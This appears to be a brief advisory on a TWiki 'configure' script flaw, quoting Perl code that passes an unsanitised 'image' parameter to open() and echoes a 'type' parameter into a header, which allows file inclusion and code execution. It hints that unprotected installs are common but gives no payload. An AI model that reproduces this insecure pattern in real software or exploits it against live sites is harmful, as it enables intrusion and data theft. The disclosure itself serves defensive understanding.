# http://twiki.org/cgi-bin/view/Codev/DownloadTWiki#4_2_3_Bugfix_Highlights

The "configure" file in TWiki's bin folder is vulnerable to code execution and local file inclusion.

According to TWiki's documentation this file is meant to be protected with .htaccess, but many a times you find it is not ;)

Vulnerable code:

if( $action eq 'image' ) {
# SMELL: this call is correct, but causes a perl error

# on some versions of CGI.pm
# print $query->header(-type => $query->param('type'));
# So use this instead:
print 'Content-type: '.$query->param('type')."\n\n";

if( open(F, 'logos/'.$query->param('image' ))) {
local $/ = undef;
print <F>;
close(F);
}
